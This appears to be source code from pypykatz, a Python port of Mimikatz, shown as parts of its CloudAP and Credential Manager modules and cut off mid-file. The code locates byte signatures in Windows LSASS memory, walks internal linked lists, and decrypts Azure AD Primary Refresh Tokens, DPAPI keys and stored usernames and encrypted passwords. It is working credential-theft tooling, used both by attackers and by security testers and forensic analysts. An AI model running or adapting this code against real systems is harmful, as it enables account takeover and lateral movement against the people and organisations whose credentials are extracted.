7 | self.luid = None | |
8 | self.sid = None | |
9 | self.cachedir = None | |
10 | self.PRT = None | |
11 | self.key_guid = None | |
12 | self.dpapi_key = None | |
13 | self.dpapi_key_sha1 = None | |
14 | ||
15 | def to_dict(self): | |
16 | t = {} | |
17 | t['credtype'] = self.credtype | |
18 | t['cachedir'] = self.cachedir | |
19 | t['PRT'] = self.PRT | |
20 | t['key_guid'] = self.key_guid | |
21 | t['dpapi_key'] = self.dpapi_key | |
22 | t['dpapi_key_sha1'] = self.dpapi_key_sha1 | |
23 | return t | |
24 | ||
25 | def to_json(self): | |
26 | return json.dumps(self.to_dict()) | |
27 | ||
28 | def __str__(self): | |
29 | t = '\t== Cloudap [%x]==\n' % self.luid | |
30 | t += '\t\tcachedir %s\n' % self.cachedir | |
31 | t += '\t\tPRT %s\n' % self.PRT | |
32 | t += '\t\tkey_guid %s\n' % self.key_guid | |
33 | t += '\t\tdpapi_key %s\n' % self.dpapi_key | |
34 | t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1 | |
35 | return t | |
36 | ||
37 | class CloudapDecryptor(PackageDecryptor): | |
38 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
39 | super().__init__('Cloudap', lsa_decryptor, sysinfo, reader) | |
40 | self.decryptor_template = decryptor_template | |
41 | self.credentials = [] | |
42 | ||
43 | async def find_first_entry(self): | |
44 | position = await self.find_signature('cloudAP.dll',self.decryptor_template.signature) | |
45 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
46 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
47 | return ptr_entry, ptr_entry_loc | |
48 | ||
49 | async def add_entry(self, cloudap_entry): | |
50 | try: | |
51 | cred = CloudapCredential() | |
52 | cred.luid = cloudap_entry.LocallyUniqueIdentifier | |
53 | ||
54 | if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0: | |
55 | return | |
56 | cache = await cloudap_entry.cacheEntry.read(self.reader) | |
57 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') | |
58 | if cache.cbPRT != 0 and cache.PRT.value != 0: | |
59 | ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT) | |
60 | temp = self.decrypt_password(ptr_enc, bytes_expected=True) | |
61 | try: | |
62 | temp = temp.decode() | |
63 | except: | |
64 | pass | |
65 | ||
66 | cred.PRT = temp | |
67 | ||
68 | if cache.toDetermine != 0: | |
69 | unk = await cache.toDetermine.read(self.reader) | |
70 | if unk is not None: | |
71 | cred.key_guid = unk.guid.value | |
72 | cred.dpapi_key = self.decrypt_password(unk.unk) | |
73 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() | |
74 | ||
75 | if cred.PRT is None and cred.key_guid is None: | |
76 | return | |
77 | self.credentials.append(cred) | |
78 | except Exception as e: | |
79 | self.log('CloudAP entry parsing error! Reason %s' % e) | |
80 | ||
81 | ||
82 | async def start(self): | |
83 | try: | |
84 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
85 | except Exception as e: | |
86 | self.log('Failed to find structs! Reason: %s' % e) | |
87 | return | |
88 | ||
89 | await self.reader.move(entry_ptr_loc) | |
90 | entry_ptr = await self.decryptor_template.list_entry(self.reader) | |
91 | await self.walk_list(entry_ptr, self.add_entry)⏎ |
0 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
1 | from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64 | |
2 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
3 | ||
4 | class CloudapTemplate(PackageTemplate): | |
5 | def __init__(self): | |
6 | super().__init__('Cloudap') | |
7 | self.signature = None | |
8 | self.first_entry_offset = None | |
9 | self.list_entry = None | |
10 | ||
11 | @staticmethod | |
12 | def get_template(sysinfo): | |
13 | template = CloudapTemplate() | |
14 | if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value: | |
15 | return None | |
16 | ||
17 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
18 | template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75' | |
19 | template.first_entry_offset = -9 | |
20 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY | |
21 | ||
22 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
23 | template.signature = b'\x8b\x31\x39\x72\x10\x75' | |
24 | template.first_entry_offset = -8 | |
25 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY | |
26 | ||
27 | else: | |
28 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
29 | ||
30 | template.log_template('list_entry', template.list_entry) | |
31 | return template | |
32 | ||
33 | class PKIWI_CLOUDAP_CACHE_UNK(POINTER): | |
34 | def __init__(self): | |
35 | super().__init__() | |
36 | ||
37 | @staticmethod | |
38 | async def load(reader): | |
39 | p = PKIWI_CLOUDAP_CACHE_UNK() | |
40 | p.location = reader.tell() | |
41 | p.value = await reader.read_uint() | |
42 | p.finaltype = KIWI_CLOUDAP_CACHE_UNK | |
43 | return p | |
44 | ||
45 | class KIWI_CLOUDAP_CACHE_UNK: | |
46 | def __init__(self): | |
47 | self.unk0 = None | |
48 | self.unk1 = None | |
49 | self.unk2 = None | |
50 | self.unkSize = None | |
51 | self.guid = None | |
52 | self.unk = None | |
53 | ||
54 | @staticmethod | |
55 | async def load(reader): | |
56 | res = KIWI_CLOUDAP_CACHE_UNK() | |
57 | res.unk0 = await DWORD.load(reader) | |
58 | res.unk1 = await DWORD.load(reader) | |
59 | res.unk2 = await DWORD.load(reader) | |
60 | res.unkSize = await DWORD.loadvalue(reader) | |
61 | res.guid = await GUID.loadvalue(reader) | |
62 | res.unk = await reader.read(64) | |
63 | return res | |
64 | ||
65 | ||
66 | class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER): | |
67 | def __init__(self): | |
68 | super().__init__() | |
69 | ||
70 | @staticmethod | |
71 | async def load(reader): | |
72 | p = PKIWI_CLOUDAP_CACHE_LIST_ENTRY() | |
73 | p.location = reader.tell() | |
74 | p.value = await reader.read_uint() | |
75 | p.finaltype = KIWI_CLOUDAP_CACHE_LIST_ENTRY | |
76 | return p | |
77 | ||
78 | class KIWI_CLOUDAP_CACHE_LIST_ENTRY: | |
79 | def __init__(self): | |
80 | self.Flink = None | |
81 | self.Blink = None | |
82 | self.unk0 = None | |
83 | self.LockList = None | |
84 | self.unk1 = None | |
85 | self.unk2 = None | |
86 | self.unk3 = None | |
87 | self.unk4 = None | |
88 | self.unk5 = None | |
89 | self.unk6 = None | |
90 | self.unk7 = None | |
91 | self.unk8 = None | |
92 | self.unk9 = None | |
93 | self.unkLogin0 = None | |
94 | self.unkLogin1 = None | |
95 | self.toname = None | |
96 | self.Sid = None | |
97 | self.unk10 = None | |
98 | self.unk11 = None | |
99 | self.unk12 = None | |
100 | self.unk13 = None | |
101 | self.toDetermine = None | |
102 | self.unk14 = None | |
103 | self.cbPRT = None | |
104 | self.PRT = None | |
105 | ||
106 | @staticmethod | |
107 | async def load(reader): | |
108 | res = KIWI_CLOUDAP_CACHE_LIST_ENTRY() | |
109 | res.Flink = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) | |
110 | res.Blink = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) | |
111 | res.unk0 = await DWORD.load(reader) | |
112 | await reader.align() | |
113 | res.LockList = await PVOID.load(reader) | |
114 | res.unk1 = await PVOID.load(reader) | |
115 | res.unk2 = await PVOID.load(reader) | |
116 | res.unk3 = await PVOID.load(reader) | |
117 | res.unk4 = await PVOID.load(reader) | |
118 | res.unk5 = await PVOID.load(reader) | |
119 | res.unk6 = await DWORD.load(reader) | |
120 | res.unk7 = await DWORD.load(reader) | |
121 | res.unk8 = await DWORD.load(reader) | |
122 | res.unk9 = await DWORD.load(reader) | |
123 | res.unkLogin0 = await PVOID.load(reader) #PCWSTR | |
124 | res.unkLogin1 = await PVOID.load(reader) #PCWSTR | |
125 | res.toname = await reader.read(130) #wchar_t [64 + 1]; | |
126 | await reader.align() | |
127 | res.Sid = await PSID.loadvalue(reader) | |
128 | res.unk10 = await DWORD.load(reader) | |
129 | res.unk11 = await DWORD.load(reader) | |
130 | res.unk12 = await DWORD.load(reader) | |
131 | res.unk13 = await DWORD.load(reader) | |
132 | res.toDetermine = await PKIWI_CLOUDAP_CACHE_UNK.load(reader) | |
133 | res.unk14 = await PVOID.load(reader) | |
134 | res.cbPRT = await DWORD.load(reader) | |
135 | await reader.align() | |
136 | res.PRT = await PVOID.load(reader) #PBYTE(reader) | |
137 | return res | |
138 | ||
139 | class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER): | |
140 | def __init__(self): | |
141 | super().__init__() | |
142 | ||
143 | @staticmethod | |
144 | async def load(reader): | |
145 | p = PKIWI_CLOUDAP_LOGON_LIST_ENTRY() | |
146 | p.location = reader.tell() | |
147 | p.value = await reader.read_uint() | |
148 | p.finaltype = KIWI_CLOUDAP_LOGON_LIST_ENTRY | |
149 | return p | |
150 | ||
151 | class KIWI_CLOUDAP_LOGON_LIST_ENTRY: | |
152 | def __init__(self): | |
153 | self.Flink = None | |
154 | self.Blink = None | |
155 | self.unk0 = None | |
156 | self.unk1 = None | |
157 | self.LocallyUniqueIdentifier = None | |
158 | self.unk2 = None | |
159 | self.unk3 = None | |
160 | self.cacheEntry = None | |
161 | ||
162 | @staticmethod | |
163 | async def load(reader): | |
164 | res = KIWI_CLOUDAP_LOGON_LIST_ENTRY() | |
165 | res.Flink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY.load(reader) | |
166 | res.Blink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY.load(reader) | |
167 | res.unk0 = await DWORD.load(reader) | |
168 | res.unk1 = await DWORD.load(reader) | |
169 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
170 | res.unk2 = await DWORD64.load(reader) | |
171 | res.unk3 = await DWORD64.load(reader) | |
172 | res.cacheEntry = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) | |
173 | return res⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | from pypykatz.commons.common import hexdump | |
7 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild | |
8 | from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING, ULONG, PVOID, PWSTR, POINTER, LIST_ENTRY | |
9 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
10 | ||
11 | class CredmanTemplate(PackageTemplate): | |
12 | def __init__(self): | |
13 | super().__init__('Credman') | |
14 | self.signature = None | |
15 | self.first_entry_offset = None | |
16 | self.list_entry = None | |
17 | ||
18 | @staticmethod | |
19 | def get_template(sysinfo): | |
20 | template = CredmanTemplate() | |
21 | ||
22 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
23 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
24 | template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5 | |
25 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
26 | template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60 | |
27 | else: | |
28 | template.list_entry = KIWI_CREDMAN_LIST_ENTRY | |
29 | else: | |
30 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
31 | template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5_X86 | |
32 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
33 | template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60_X86 | |
34 | else: | |
35 | template.list_entry = KIWI_CREDMAN_LIST_ENTRY_X86 | |
36 | ||
37 | template.log_template('list_entry', template.list_entry) | |
38 | ||
39 | return template | |
40 | ||
41 | class PKIWI_CREDMAN_LIST_ENTRY_5_X86(POINTER): | |
42 | def __init__(self): | |
43 | super().__init__() | |
44 | ||
45 | @staticmethod | |
46 | async def load(reader): | |
47 | p = PKIWI_CREDMAN_LIST_ENTRY_5_X86() | |
48 | p.location = reader.tell() | |
49 | p.value = await reader.read_uint() | |
50 | p.finaltype = KIWI_CREDMAN_LIST_ENTRY_5_X86 | |
51 | return p | |
52 | ||
53 | class KIWI_CREDMAN_LIST_ENTRY_5_X86: | |
54 | def __init__(self): | |
55 | self.cbEncPassword = None | |
56 | self.encPassword = None | |
57 | self.unk0 = None | |
58 | self.unk1 = None | |
59 | self.unk2 = None | |
60 | self.unk3 = None | |
61 | self.UserName = None | |
62 | self.cbUserName = None | |
63 | self.Flink = None | |
64 | self.Blink = None | |
65 | self.server1 = None | |
66 | self.unk6 = None | |
67 | self.unk7 = None | |
68 | self.user = None | |
69 | self.unk8 = None | |
70 | self.server2 = None | |
71 | ||
72 | @staticmethod | |
73 | async def load(reader): | |
74 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
75 | res = KIWI_CREDMAN_LIST_ENTRY_5_X86() | |
76 | await reader.move(reader.tell() - 32) | |
77 | await reader.align() #not sure if it's needed here | |
78 | # | |
79 | res.cbEncPassword = await ULONG.loadvalue(reader) | |
80 | await reader.align() | |
81 | res.encPassword =await PWSTR.load(reader) | |
82 | res.unk0 = await ULONG.loadvalue(reader) | |
83 | res.unk1 = await ULONG.loadvalue(reader) | |
84 | res.unk2 = await PVOID.load(reader) | |
85 | res.unk3 = await PVOID.load(reader) | |
86 | res.UserName =await PWSTR.load(reader) | |
87 | res.cbUserName = await ULONG.loadvalue(reader) | |
88 | await reader.align() | |
89 | res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) | |
90 | res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) | |
91 | res.server1 =await LSA_UNICODE_STRING.load(reader) | |
92 | res.unk6 = await PVOID.load(reader) | |
93 | res.unk7 = await PVOID.load(reader) | |
94 | res.user =await LSA_UNICODE_STRING.load(reader) | |
95 | res.unk8 = await ULONG.loadvalue(reader) | |
96 | await reader.align() | |
97 | res.server2 = await LSA_UNICODE_STRING.load(reader) | |
98 | return res | |
99 | ||
100 | class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER): | |
101 | def __init__(self): | |
102 | super().__init__() | |
103 | ||
104 | @staticmethod | |
105 | async def load(reader): | |
106 | p = PKIWI_CREDMAN_LIST_ENTRY_60_X86() | |
107 | p.location = reader.tell() | |
108 | p.value = await reader.read_uint() | |
109 | p.finaltype = KIWI_CREDMAN_LIST_ENTRY_60_X86 | |
110 | return p | |
111 | ||
112 | class KIWI_CREDMAN_LIST_ENTRY_60_X86: | |
113 | def __init__(self): | |
114 | self.cbEncPassword = None | |
115 | self.encPassword = None | |
116 | self.unk0 = None | |
117 | self.unk1 = None | |
118 | self.unk2 = None | |
119 | self.unk3 = None | |
120 | self.UserName = None | |
121 | self.cbUserName = None | |
122 | self.Flink = None | |
123 | self.Blink = None | |
124 | self.type = None | |
125 | self.unk5 = None | |
126 | self.server1 = None | |
127 | self.unk6 = None | |
128 | self.unk7 = None | |
129 | self.unk8 = None | |
130 | self.unk9 = None | |
131 | self.unk10 = None | |
132 | self.user = None | |
133 | self.unk11 = None | |
134 | self.server2 = None | |
135 | ||
136 | @staticmethod | |
137 | async def load(reader): | |
138 | res = KIWI_CREDMAN_LIST_ENTRY_60_X86() | |
139 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
140 | # | |
141 | await reader.move(reader.tell() - 32) | |
142 | await reader.align() #not sure if it's needed here | |
143 | res.cbEncPassword = await ULONG.loadvalue(reader) | |
144 | await reader.align() | |
145 | res.encPassword =await PWSTR.load(reader) | |
146 | res.unk0 = await ULONG.loadvalue(reader) | |
147 | res.unk1 = await ULONG.loadvalue(reader) | |
148 | res.unk2 = await PVOID.load(reader) | |
149 | res.unk3 = await PVOID.load(reader) | |
150 | res.UserName =await PWSTR.load(reader) | |
151 | res.cbUserName = await ULONG.loadvalue(reader) | |
152 | await reader.align() | |
153 | res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) | |
154 | res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) | |
155 | res.type = await LSA_UNICODE_STRING.load(reader) | |
156 | res.unk5 = await PVOID.load(reader) | |
157 | res.server1 =await LSA_UNICODE_STRING.load(reader) | |
158 | res.unk6 = await PVOID.load(reader) | |
159 | res.unk7 = await PVOID.load(reader) | |
160 | res.unk8 = await PVOID.load(reader) | |
161 | res.unk9 = await PVOID.load(reader) | |
162 | res.unk10 = await PVOID.load(reader) | |
163 | res.user =await LSA_UNICODE_STRING.load(reader) | |
164 | res.unk11 = await ULONG.loadvalue(reader) | |
165 | await reader.align() | |
166 | res.server2 =await LSA_UNICODE_STRING.load(reader) | |
167 | return res | |
168 | ||
169 | class PKIWI_CREDMAN_LIST_ENTRY_X86(POINTER): | |
170 | def __init__(self): | |
171 | super().__init__() | |
172 | ||
173 | @staticmethod | |
174 | async def load(reader): | |
175 | p = PKIWI_CREDMAN_LIST_ENTRY_X86() | |
176 | p.location = reader.tell() | |
177 | p.value = await reader.read_uint() | |
178 | p.finaltype = KIWI_CREDMAN_LIST_ENTRY_X86 | |
179 | return p | |
180 | ||
181 | class KIWI_CREDMAN_LIST_ENTRY_X86: | |
182 | def __init__(self): | |
183 | self.cbEncPassword = None | |
184 | self.encPassword = None | |
185 | self.unk0 = None | |
186 | self.unk1 = None | |
187 | self.unk2 = None | |
188 | self.unk3 = None | |
189 | self.UserName = None | |
190 | self.cbUserName = None | |
191 | self.Flink = None | |
192 | self.Blink = None | |
193 | self.unk4 = None | |
194 | self.type = None | |
195 | self.unk5 = None | |
196 | self.server1 = None | |
197 | self.unk6 = None | |
198 | self.unk7 = None | |
199 | self.unk8 = None | |
200 | self.unk9 = None | |
201 | self.unk10 = None | |
202 | self.user = None | |
203 | self.unk11 = None | |
204 | self.server2 = None | |
205 | ||
206 | @staticmethod | |
207 | async def load(reader): | |
208 | res = KIWI_CREDMAN_LIST_ENTRY_X86() | |
209 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
210 | # | |
211 | await reader.move(reader.tell() - 32) | |
212 | await reader.align() #not sure if it's needed here | |
213 | ||
214 | # | |
215 | res.cbEncPassword = await ULONG.loadvalue(reader) | |
216 | await reader.align() | |
217 | res.encPassword =await PWSTR.load(reader) | |
218 | res.unk0 = await ULONG.loadvalue(reader) | |
219 | res.unk1 = await ULONG.loadvalue(reader) | |
220 | res.unk2 = await PVOID.load(reader) | |
221 | res.unk3 = await PVOID.load(reader) | |
222 | res.UserName =await PWSTR.load(reader) | |
223 | res.cbUserName = await ULONG.loadvalue(reader) | |
224 | await reader.align() | |
225 | res.Flink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) | |
226 | res.Blink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) | |
227 | res.unk4 = await LIST_ENTRY.load(reader) | |
228 | res.type =await LSA_UNICODE_STRING.load(reader) | |
229 | res.unk5 = await PVOID.load(reader) | |
230 | res.server1 =await LSA_UNICODE_STRING.load(reader) | |
231 | res.unk6 = await PVOID.load(reader) | |
232 | res.unk7 = await PVOID.load(reader) | |
233 | res.unk8 = await PVOID.load(reader) | |
234 | res.unk9 = await PVOID.load(reader) | |
235 | res.unk10 = await PVOID.load(reader) | |
236 | res.user =await LSA_UNICODE_STRING.load(reader) | |
237 | res.unk11 = await ULONG.loadvalue(reader) | |
238 | await reader.align() | |
239 | res.server2 =await LSA_UNICODE_STRING.load(reader) | |
240 | return res | |
241 | ||
242 | ||
243 | class PKIWI_CREDMAN_LIST_ENTRY_5(POINTER): | |
244 | def __init__(self): | |
245 | super().__init__() | |
246 | ||
247 | @staticmethod | |
248 | async def load(reader): | |
249 | p = PKIWI_CREDMAN_LIST_ENTRY_5() | |
250 | p.location = reader.tell() | |
251 | p.value = await reader.read_uint() | |
252 | p.finaltype = KIWI_CREDMAN_LIST_ENTRY_5 | |
253 | return p | |
254 | ||
255 | class KIWI_CREDMAN_LIST_ENTRY_5: | |
256 | def __init__(self): | |
257 | self.cbEncPassword = None | |
258 | self.encPassword = None | |
259 | self.unk0 = None | |
260 | self.unk1 = None | |
261 | self.unk2 = None | |
262 | self.unk3 = None | |
263 | self.UserName = None | |
264 | self.cbUserName = None | |
265 | self.Flink = None | |
266 | self.Blink = None | |
267 | self.server1 = None | |
268 | self.unk6 = None | |
269 | self.unk7 = None | |
270 | self.user = None | |
271 | self.unk8 = None | |
272 | self.server2 = None | |
273 | ||
274 | @staticmethod | |
275 | async def load(reader): | |
276 | res = KIWI_CREDMAN_LIST_ENTRY_5() | |
277 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
278 | # | |
279 | await reader.move(reader.tell() - 56) | |
280 | await reader.align() #not sure if it's needed here | |
281 | res.cbEncPassword = await ULONG.loadvalue(reader) | |
282 | await reader.align() | |
283 | res.encPassword = await PWSTR.load(reader) | |
284 | res.unk0 = await ULONG.loadvalue(reader) | |
285 | res.unk1 = await ULONG.loadvalue(reader) | |
286 | res.unk2 = await PVOID.load(reader) | |
287 | res.unk3 = await PVOID.load(reader) | |
288 | res.UserName = await PWSTR.load(reader) | |
289 | res.cbUserName = await ULONG.loadvalue(reader) | |
290 | await reader.align() | |
291 | res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) | |
292 | res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) | |
293 | res.server1 = await LSA_UNICODE_STRING.load(reader) | |
294 | res.unk6 = await PVOID.load(reader) | |
295 | res.unk7 = await PVOID.load(reader) | |
296 | res.user = await LSA_UNICODE_STRING.load(reader) | |
297 | res.unk8 = await ULONG.loadvalue(reader) | |
298 | await reader.align() | |
299 | res.server2 = LSA_UNICODE_STRING | |
300 | return res | |
301 | ||
302 | class PKIWI_CREDMAN_LIST_ENTRY_60(POINTER): | |
303 | def __init__(self): | |
304 | super().__init__() | |
305 | ||
306 | @staticmethod | |
307 | async def load(reader): | |
308 | p = PKIWI_CREDMAN_LIST_ENTRY_60() | |
309 | p.location = reader.tell() | |
310 | p.value = await reader.read_uint() | |
311 | p.finaltype = KIWI_CREDMAN_LIST_ENTRY_60 | |
312 | return p | |
313 | ||
314 | class KIWI_CREDMAN_LIST_ENTRY_60: | |
315 | def __init__(self): | |
316 | self.cbEncPassword = None | |
317 | self.encPassword = None | |
318 | self.unk0 = None | |
319 | self.unk1 = None | |
320 | self.unk2 = None | |
321 | self.unk3 = None | |
322 | self.UserName = None | |
323 | self.cbUserName = None | |
324 | self.Flink = None | |
325 | self.Blink = None | |
326 | self.type = None | |
327 | self.unk5 = None | |
328 | self.server1 = None | |
329 | self.unk6 = None | |
330 | self.unk7 = None | |
331 | self.unk8 = None | |
332 | self.unk9 = None | |
333 | self.unk10 = None | |
334 | self.user = None | |
335 | self.unk11 = None | |
336 | self.server2 = None | |
337 | ||
338 | @staticmethod | |
339 | async def load(reader): | |
340 | res = KIWI_CREDMAN_LIST_ENTRY_60() | |
341 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
342 | # | |
343 | await reader.move(reader.tell() - 56) | |
344 | await reader.align() #not sure if it's needed here | |
345 | # | |
346 | #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell())) | |
347 | # | |
348 | res.cbEncPassword = await ULONG.loadvalue(reader) | |
349 | await reader.align() | |
350 | res.encPassword =await PWSTR.load(reader) | |
351 | res.unk0 = await ULONG.loadvalue(reader) | |
352 | res.unk1 = await ULONG.loadvalue(reader) | |
353 | res.unk2 = await PVOID.load(reader) | |
354 | res.unk3 = await PVOID.load(reader) | |
355 | res.UserName = await PWSTR.load(reader) | |
356 | res.cbUserName = await ULONG.loadvalue(reader) | |
357 | await reader.align() | |
358 | res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) | |
359 | res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) | |
360 | res.type =await LSA_UNICODE_STRING.load(reader) | |
361 | res.unk5 = await PVOID.load(reader) | |
362 | res.server1 =await LSA_UNICODE_STRING.load(reader) | |
363 | res.unk6 = await PVOID.load(reader) | |
364 | res.unk7 = await PVOID.load(reader) | |
365 | res.unk8 = await PVOID.load(reader) | |
366 | res.unk9 = await PVOID.load(reader) | |
367 | res.unk10 = await PVOID.load(reader) | |
368 | res.user =await LSA_UNICODE_STRING.load(reader) | |
369 | res.unk11 = await ULONG.loadvalue(reader) | |
370 | await reader.align() | |
371 | res.server2 =await LSA_UNICODE_STRING.load(reader) | |
372 | return res | |
373 | ||
374 | class PKIWI_CREDMAN_LIST_ENTRY(POINTER): | |
375 | def __init__(self): | |
376 | super().__init__() | |
377 | ||
378 | @staticmethod | |
379 | async def load(reader): | |
380 | p = PKIWI_CREDMAN_LIST_ENTRY() | |
381 | p.location = reader.tell() | |
382 | p.value = await reader.read_uint() | |
383 | p.finaltype = KIWI_CREDMAN_LIST_ENTRY | |
384 | return p | |
385 | ||
386 | class KIWI_CREDMAN_LIST_ENTRY: | |
387 | def __init__(self): | |
388 | self.cbEncPassword = None | |
389 | self.encPassword = None | |
390 | self.unk0 = None | |
391 | self.unk1 = None | |
392 | self.unk2 = None | |
393 | self.unk3 = None | |
394 | self.UserName = None | |
395 | self.cbUserName = None | |
396 | self.Flink = None | |
397 | self.Blink = None | |
398 | self.unk4 = None | |
399 | self.type = None | |
400 | self.unk5 = None | |
401 | self.server1 = None | |
402 | self.unk6 = None | |
403 | self.unk7 = None | |
404 | self.unk8 = None | |
405 | self.unk9 = None | |
406 | self.unk10 = None | |
407 | self.user = None | |
408 | self.unk11 = None | |
409 | self.server2 = None | |
410 | ||
411 | @staticmethod | |
412 | async def load(reader): | |
413 | res = KIWI_CREDMAN_LIST_ENTRY() | |
414 | #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS | |
415 | await reader.move(reader.tell() - 56) | |
416 | await reader.align() #not sure if it's needed here | |
417 | res.cbEncPassword = await ULONG.loadvalue(reader) | |
418 | await reader.align() | |
419 | res.encPassword =await PWSTR.load(reader) | |
420 | res.unk0 = await ULONG.loadvalue(reader) | |
421 | res.unk1 = await ULONG.loadvalue(reader) | |
422 | res.unk2 = await PVOID.load(reader) | |
423 | res.unk3 = await PVOID.load(reader) | |
424 | res.UserName =await PWSTR.load(reader) | |
425 | res.cbUserName = await ULONG.loadvalue(reader) | |
426 | await reader.align() | |
427 | res.Flink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) | |
428 | res.Blink = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) | |
429 | res.unk4 =await LIST_ENTRY.load(reader) | |
430 | res.type =await LSA_UNICODE_STRING.load(reader) | |
431 | res.unk5 = await PVOID.load(reader) | |
432 | res.server1 =await LSA_UNICODE_STRING.load(reader) | |
433 | res.unk6 = await PVOID.load(reader) | |
434 | res.unk7 = await PVOID.load(reader) | |
435 | res.unk8 = await PVOID.load(reader) | |
436 | res.unk9 = await PVOID.load(reader) | |
437 | res.unk10 = await PVOID.load(reader) | |
438 | res.user = await LSA_UNICODE_STRING.load(reader) | |
439 | res.unk11 = await ULONG.loadvalue(reader) | |
440 | await reader.align() | |
441 | res.server2 =await LSA_UNICODE_STRING.load(reader) | |
442 | return res | |
443 | ||
444 | class PKIWI_CREDMAN_LIST_STARTER(POINTER): | |
445 | def __init__(self): | |
446 | super().__init__() | |
447 | ||
448 | @staticmethod | |
449 | async def load(reader): | |
450 | p = PKIWI_CREDMAN_LIST_STARTER() | |
451 | p.location = reader.tell() | |
452 | p.value = await reader.read_uint() | |
453 | p.finaltype = KIWI_CREDMAN_LIST_STARTER | |
454 | return p | |
455 | ||
456 | class KIWI_CREDMAN_LIST_STARTER: | |
457 | def __init__(self): | |
458 | self.unk0 = None | |
459 | self.start = None | |
460 | ||
461 | @staticmethod | |
462 | async def load(reader): | |
463 | res = KIWI_CREDMAN_LIST_STARTER() | |
464 | res.unk0 = await ULONG.load(reader) | |
465 | await reader.align() | |
466 | res.start = await PKIWI_CREDMAN_LIST_ENTRY.load(reader) | |
467 | return res | |
468 | ||
469 | class PKIWI_CREDMAN_SET_LIST_ENTRY(POINTER): | |
470 | def __init__(self): | |
471 | super().__init__() | |
472 | ||
473 | @staticmethod | |
474 | async def load(reader): | |
475 | p = PKIWI_CREDMAN_SET_LIST_ENTRY() | |
476 | p.location = reader.tell() | |
477 | p.value = await reader.read_uint() | |
478 | p.finaltype = KIWI_CREDMAN_SET_LIST_ENTRY | |
479 | return p | |
480 | ||
481 | class KIWI_CREDMAN_SET_LIST_ENTRY: | |
482 | def __init__(self): | |
483 | self.Flink = None | |
484 | self.Blink = None | |
485 | self.unk0 = None | |
486 | self.list1 = None | |
487 | self.list2 = None | |
488 | ||
489 | @staticmethod | |
490 | async def load(reader): | |
